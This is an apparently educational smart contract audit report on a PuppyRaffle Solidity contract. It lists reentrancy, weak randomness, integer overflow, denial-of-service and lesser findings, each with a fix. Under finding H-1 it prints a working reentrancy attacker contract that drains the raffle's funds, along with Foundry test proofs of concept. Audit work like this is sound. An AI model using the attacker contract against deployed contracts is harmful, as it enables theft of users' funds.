
# Puppy Raffle Audit Report

Version 1.0

*Cyfrin.io*

May 14, 2024

# Protocol Audit Report

Seven Cedars

May 14, 2024

Prepared by: Seven Cedars Lead Auditors: Seven Cedars

## Table of Contents



## Protocol Summary

The protocol is a simple raffle contract that allows for a minimum of four players to enter a raffle. They have to pay a preset entrees fee to do so. After a set time frame a winner can be picked. The winner receives an NFT and a percentage of entree fees. A percentage of the entree fees are set aside (in this case twenty percent) for the owner to transfer to an address of their choice.

The description from the documentation: This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Seven Cedars team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

### Scope

```
./src/
#-- PuppyRaffle.sol
```

### Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

| Severity | Number of Issues found |
|---|---|
| high | 3 |
| medium | 4 |
| low | 2 |
| gas | 2 |
| info | 9 |
| total | 20 |

### Issues found

## Findings

### High

#### [H-1] Reentrancy attack vulnerability in the `PuppyRaffle::refund` function, allows for draining of all funds from contract.

**Description:** `PuppyRaffle::refund` updates the `PuppyRaffle::players` array *after* refunding the user. It does not follow the Check-Effect-Inetraction structure, and as result allows for an external contract to repeatly call the refund function without the `PuppyRaffle::players` array being updated; draining the contract of all funds. It is a classic reentrancy attack.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6 @>      payable(msg.sender).sendValue(entranceFee);
7 @>      players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raflle can use a `fallback` or `receive` function to call the `PuppyRaffle::refund` function again on receiving the first refund. They could continue doing so until all funds have been drained from the contract.

**Impact:** All fees paid by raffle entrants are at risk of being stolen.

**Proof of Concept:**

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` funcion that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund`, draining contract of funds.

PoC

Place the dollowing in `PuppyRaffleTest.t.sol`:

```
1     function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
              puppyRaffle);
10        address attackUser = makeAddr("attackuser");
11        vm.deal(attackUser, 1 ether);
12
13        uint256 startReentrancyAttackerBalance = address(
              attackerContract).balance;
14        uint256 startPuppyRaffleBalance = address(puppyRaffle).balance;
15
16        vm.prank(attackUser);
17        attackerContract.attack{value: entranceFee}();
```

```
18
19          uint256 endReentrancyAttackerBalance = address(attackerContract
                ).balance;
20          uint256 endPuppyRaffleBalance = address(puppyRaffle).balance;
21
22          console.log("start attacker balance",
                startReentrancyAttackerBalance);
23          console.log("start puppyRaffle balance",
                startPuppyRaffleBalance);
24
25          console.log("end attacker balance",
                endReentrancyAttackerBalance);
26          console.log("end puppyRaffle balance", endPuppyRaffleBalance);
27      }
```

And also this contract:

```
1       contract ReentrancyAttacker {
2           PuppyRaffle puppyRaffle;
3           uint256 entranceFee;
4           uint256 attackerIndex;
5
6           constructor(PuppyRaffle  _puppyRaffle) {
7               puppyRaffle = _puppyRaffle;
8               entranceFee = puppyRaffle.entranceFee();
9           }
10
11          function attack() external payable {
12              address[] memory players = new address[](1);
13              players[0] = address(this);
14              puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16              attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                    this));
17              puppyRaffle.refund(attackerIndex);
18          }
19
20          function _stealMoney() internal {
21              if (address(puppyRaffle).balance >= entranceFee) {
22                  puppyRaffle.refund(attackerIndex);
23              }
24          }
25
26          receive() external payable {
27              _stealMoney();
28          }
29
30          fallback() external payable {
31              _stealMoney();
32          }
33      }
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making an external call. Additionally, we have to move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

-       payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);
    }
```

### [H-2] The `PuppyRaffle::selectWinner` is only pseudo random. It allows users to influence and predict outcome of raffle and hence enable gaming the outcome of the puppy NFT raffle.

**Description:** Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. It is not a proper random number. Malicious users can manipulate the values or know them ahead of time, allowing them to choose the winner of the raffle ahead of time.

Also, it allows users to front-run the outcome of the raffle and request refund if they are not the winner.

**Impact:** Any user can influence the outcome of the raffle and the rareness of the NFT puppy.

**Proof of Concept:** 1. Users can know ahead of time the `block.timestamp` and `block.difficulty` and use this to predict and decide to participate. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate a winner. 3. Users can revert `PuppyRaffle::selectWinner` transaction if they don't like the winner of the resulting puppy.

**Recommended Mitigation:** Use of off-chain verified random number generator. Most popular one is Chainlink VRF.

### [H-3] Integer overflow of `PuppyRaffle::totalFees` causes loss of fees.

**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0.
```

**Impact:** `PuppyRaffle:totalFees` accumulates fees for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if `PuppyRaffle:totalFees` overflows, the amount accumulated will be incorrect, leaving fees permanently stuck in the contract.

**Proof of Concept:** 1. We enter 4 players into the raffle and check the amount of fees collected. 2. We calculate that it will take less than 25 runs of four players to overflow `totalFees`. 3. We create a loop, run the raffle 25 times. 4. We observe that `totalFees` is not the same as `address(puppyRaffle).balance`.
5. You will be unable to withdraw any fees due to the following line:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

You could `selfDestruct` a contract to send ETH to the contract and have the amounts match, this is clearly not the intended design of the contract. At one point `balance` of the contract will be too high for this approach to work.

PoC

Place the dollowing in `PuppyRaffleTest.t.sol`:

```
    function test_overflowTotalFee() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        uint256 totalFeesSingleRun;
        uint64 mockTotalFees;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        puppyRaffle.withdrawFees();

        totalFeesSingleRun = address(99).balance;
        console.log("fee return from a single run of 4 players: ",
            totalFeesSingleRun);

        for (uint256 i; i < 25; i++) {
            puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);
            puppyRaffle.selectWinner();

            mockTotalFees = mockTotalFees + uint64(totalFeesSingleRun);
        }
```

```
28
29          console.log("balance at puppyRaffle: ", address(puppyRaffle).
                balance);
30          console.log("balance of mockTotalFees", mockTotalFees);
31
32          assert(mockTotalFees != address(puppyRaffle).balance);
33      }
```

**Recommended Mitigation:** 1. Use a newer version of solidity, and use `uint256` insetad of `uint64`. 2. You could also use `safeMath` library from OpenZeppelin for versions below `0.8.0`. 3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
1 -     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors related to this sentence. We recommend to remove it completely.

## Medium

### [M-1] An unbound loop at `PuppyRaffle::enterRaffle` creates a possibility for a denial-of-service(DoS) attack, incrementing gas cost for future entrees.

**Description:** The `PuppyRaffle::enterRaffle` loops through an array of players `players` to check for duplicates. The array `players` is unbound. As the length of `players` increases, the cost to enter the raffle for new players increases as a longer array needs to be checked for duplicates. As a result, early entrants pay little in gas fees, later entrants (much) more.

```
1 // audit: dos attack
2 @>  for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle: Duplicate
                  player");
5         }
6     }
```

**Impact:** The gas costs for raffle entrants will increase as more players enter the raffle. This will discourage later players to enter; and causing a rush at the start.

An Attacker might make the `players` array so long, that no-one else can enter and guaranteeing a win.

**Proof of Concept:** If we have two sets of a hundred players, gas cost is as follows: - gas used in first 100 players: 6,252,047 - gas used in second 100 players: 18,068,137

The second set pays more than three times as much as the first set fo players.

PoS Place the following code in `PuppyRaffleTest.t.sol`.

```
function test_DenialOfService() public {
    vm.txGasPrice(1);

    uint256 numberOfPlayers = 100;
    address[] memory players = new address[](numberOfPlayers);
    for (uint160 i; i < numberOfPlayers; i++) {
        players[i] = address(i);
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
        players);
    uint256 gasEnd = gasleft();

    uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
    console.log("gas used in first 100 players: ", gasUsed);

    uint256 numberOfPlayersTwo = 100;
    address[] memory playersTwo = new address[](numberOfPlayersTwo);
    for (uint160 i; i < numberOfPlayersTwo; i++) {
        playersTwo[i] = address(i + numberOfPlayers);
    }
    uint256 gasStartTwo = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayersTwo}(
        playersTwo);
    uint256 gasEndTwo = gasleft();

    uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
    console.log("gas used in second 100 players: ", gasUsedSecond);

    assert(gasUsed < gasUsedSecond);
}
```

**Recommended Mitigation:** There a few recommendations.

1. Consider allowing multiple addresses.
2. Create a mapping. This would allow constant time look up if players has entered.

### [M-2] unsafe cast of uint256 to uint64 at `PuppyRaffle::selectWinner`.

**Description:** The `fee` variable is `uint256` while totalFees is `uint64`. This will cause `uint64(fee)`, if its value is higher than `type(uint64).max`, to give an incorrect value.

```
    totalFees = totalFees + uint64(fee);
```

**Impact:** Fees will be incorrectly accumulated if fee is larger than `type(uint64).max`.

**Proof of Concept:**

PoC

Place the dollowing in `PuppyRaffleTest.t.sol`:

```
    function test_overflowTotalFee() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        uint256 totalFeesSingleRun;
        uint64 mockTotalFees;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        puppyRaffle.withdrawFees();

        totalFeesSingleRun = address(99).balance;
        console.log("fee return from a single run of 4 players: ",
            totalFeesSingleRun);

        for (uint256 i; i < 25; i++) {
            puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);
            puppyRaffle.selectWinner();

            mockTotalFees = mockTotalFees + uint64(totalFeesSingleRun);
        }

        console.log("balance at puppyRaffle: ", address(puppyRaffle).
            balance);
        console.log("balance of mockTotalFees", mockTotalFees);

        assert(mockTotalFees != address(puppyRaffle).balance);
    }
```

**Recommended Mitigation:** 1. Use a newer version of solidity, and use `uint256` insetad of `uint64`. 2. You could also use `safeMath` library from OpenZeppelin for versions below `0.8.0`. 3. Remove the balance check from `PuppyRaffle::withdrawFees`.

### [M-3] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block start of new raffle.

**Description:** The `PuppyRaffle::selectWinner` function resets the lottery. However, if the winner is a smart contract without a `receive` or `fallback` function (and hence rejects payment) the lottery will not be able to reset.

Users can call `selectWinner` again until a EOA or proper smart contract is selected as winner. But this can get quite expensive due to the gas cost of rerunning the `PuppyRaffle:selectWinner` function.

**Impact:** The `PuppyRaffle::selectWinner` function can revert many times, making resetting the raffle challenging.

Also, the winnings would not be paid out to the incorrect smart contract, with someone else taking their winnings.

**Proof of Concept:** 1. 10 smart contracts enter the raffle. None of them have `receive` or `fallback` functions. 2. The lottery ends. 3. The `selectWinner` function will not work - even though the lottery has ended.

**Recommended Mitigation:** 1. Do not allow smart contracts as entrants (not recommended). 2. Create a mapping `address winners -> uint256 price`, and allow entrants themselves to retreive their winnings through a new `claimPrize` function. (Recommended).

Generally, it is best practice to have users *pull* funds from a contract, instead of *pushing* funds to users.

### [M-4] Player with index 0 cannot call the `PuppyRaffle::refund` function, hence will not be able to get a refund.

**Description:** The `PuppyRaffle::refund` function contains a check that the player does not have index 0 (as this is used for non-existent players, see bug above). This means that if the player at index (0) attempts to get a refund, the `PuppyRaffle::refund` function will revert.

```
1       require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
```

**Impact:** In every raffle there will be one player - the very first one that entered the raffle and has index 0 - that will not be able to withdraw funds.

**Proof of Concept:** 1. Have four players enter the raffle. 2. Call refund on player index 0. 3. The function will revert.

**Recommended Mitigation:** `PuppyRaffle::getActivePlayerIndex` should return a `int256` (instead of `uint256`); and have a -1 return if the player has not entered the raffle. `PuppyRaffle::refund` can use getActivePlayerIndex to check if player address returns -1.

### Low

#### [L-1] `PuppyRaffle::getPlayerIndex` returns 0 for non-existent players, and for player 0. It might mean that player 0 might incorrectly think they have not entered the raffle.

**Description:** If a player is at nidex 0 in the `PuppyRaffle::players` array, `PuppyRaffle::getPlayerIndex` returns 0. But `PuppyRaffle::getPlayerIndex` will also return 0 if a player is not in the `PuppyRaffle::players` array.

```
1      function getActivePlayerIndex(address player) external view returns
           (uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7  @>        return 0;
8      }
```

**Impact:** A player at index 0 might incorrectly think they have not entered the raffle and try and enter again, waisting gas.

**Proof of Concept:** 1. User enters raffle as first player, enters at index 0. 2. Checks `PuppyRaffle::getPlayerIndex` to get index. Function returns 0. 3. Following the documentation, the player assumes they have not entered the raffle correctly.

**Recommended Mitigation:** Best solution is to create a function that returns a `int256` (instead of `uint256`) and have a -1 return if the player has not entered the raffle.

Other solutions are: - revert the function if player has not enetered, instead of returning 0. - reserving 0 and entering the first player at index 1.

#### [L-2] Loop contains `require`/`revert` statements

Avoid `require` / `revert` statements in a loop because a single bad item can cause the whole transaction to fail. It's better to forgive on fail and return failed elements post processing of the loop

- Found in src/PuppyRaffle.sol Line: 99

```
1       for (uint256 i = 0; i < players.length - 1; i++) {
2           for (uint256 j = i + 1; j < players.length; j++) {
3               require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
4           }
5       }
```

## Gas

### [G-1] Unchanged state variables should be declared immutable.

Reading from storage is much more expansive than reading from a constant or immutable variable.

Instances: - `PuppyRaffleTest.t.sol::raffleDuration` should be `immutable`. - `PuppyRaffleTest.t.sol::commonImageUri` should be `constant`. - `PuppyRaffleTest.t.sol::rareImageUri` should be `constant`. - `PuppyRaffleTest.t.sol::legendaryImageUri` should be `constant`. -

### [G-2] Storage in a loop should be cached.

Reading from storage is gas expensive. Everytime you call players.length you read from storage. PlayersLength reads from memory which is mor egas efficient.

```
1  +   uint256 playersLength = players.length;
2  -   for (uint256 i = 0; i < players.length - 1; i++) {
3  +   for (uint256 i = 0; i < playersLength - 1; i++) {
4  -           for (uint256 j = i + 1; j < players.length; j++) {
5  +           for (uint256 j = i + 1; j < playersLength; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7               }
8       }
```

## Informational

### [I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

#### [I-2] Using outdated version of Solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

**Recommended Mitigation:** Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

#### [I-3] Missing checks for `address(0)` when assigning values to address state variables.

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 70

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 209

```
1         feeAddress = newFeeAddress;
```

#### [I-4] `PuppyRaffle::selectWinner` should follow Check-Effect-Interact (CEI) layout, which is not best practice.

It is best to code clean and follow CEI.

```
1 +   _safeMint(winner, tokenId);
2     (bool success,) = winner.call{value: prizePool}("");
3     require(success, "PuppyRaffle: Failed to send prize pool to winner"
          );
4 -   _safeMint(winner, tokenId);
```

#### [I-5] Use fo “magic” numbers discouraged.

It can be confusing to see number litera;s in a codebase, and it’s much more readbale if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you can use constant state variables:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE =  80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

#### [I-6] State changes are missing events.

It is best practice to emit an event every time the state of a contract is changed. `selectWinner` and `withdrawFees` are missing these event emissions.

To mitigate this issue, please include emission of an event. See the `enterRaffle` as an example.

#### [I-7] All events are missing indexed fields.

Index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 59

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 60

```
    event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 61

```
    event FeeAddressChanged(address newFeeAddress);
```

#### [I-8] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

Dead code in contracts should be avoided for the following reasons: - Any unused code costs gas when deployed. - Makes code less readible and thereby increases chance of security risks being overlooked.

**[I-9] Documention does not mention there is a minimum of four players in the raffle.**

The `PuppyRaffle::selectWinner` function includes a check that there are at leats four players in the Raffle. This minimum amount of players is not mentioned in the documention.

```
1       require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
            );
```

Please add a statement that there is a minimum of four players to the documentation.